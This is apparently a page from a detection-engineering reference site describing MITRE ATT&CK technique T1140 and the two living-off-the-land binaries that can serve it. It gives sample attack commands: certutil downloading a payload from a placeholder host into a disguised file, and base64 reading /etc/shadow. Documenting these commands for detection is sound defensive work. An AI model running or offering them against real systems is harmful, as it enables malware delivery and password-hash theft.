How many Living-off-the-Land Binaries abuse T1140?

LOLPulse tracks 2 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Deobfuscate/Decode Files or Information (T1140).

How can detection engineers monitor for T1140?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1140Tactic: Defense EvasionOfficial MITRE ATT&CK Page

T1140: Deobfuscate/Decode Files or Information

Adversaries may use built-in utilities like certutil to decode files or information previously obfuscated or encrypted before execution.

Total Capable Binaries: 2

•

Windows: 1

•

Linux: 1

•

macOS: 0

Living-off-the-Land Matrix for T1140

Across 2 verified binaries

Windows2 payloads

certutil.exe

Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.

Sample Attack Vector:

certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe

Inspect certutil.exe & Telemetry

Linux1 payloads

base64

Base64 encodes or decodes standard input or files to standard output. Attackers abuse it to read sensitive files without user permissions (when SUID) or decode obfuscated payload stages.

Sample Attack Vector:

base64 /etc/shadow | base64 --decode

Inspect base64 & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers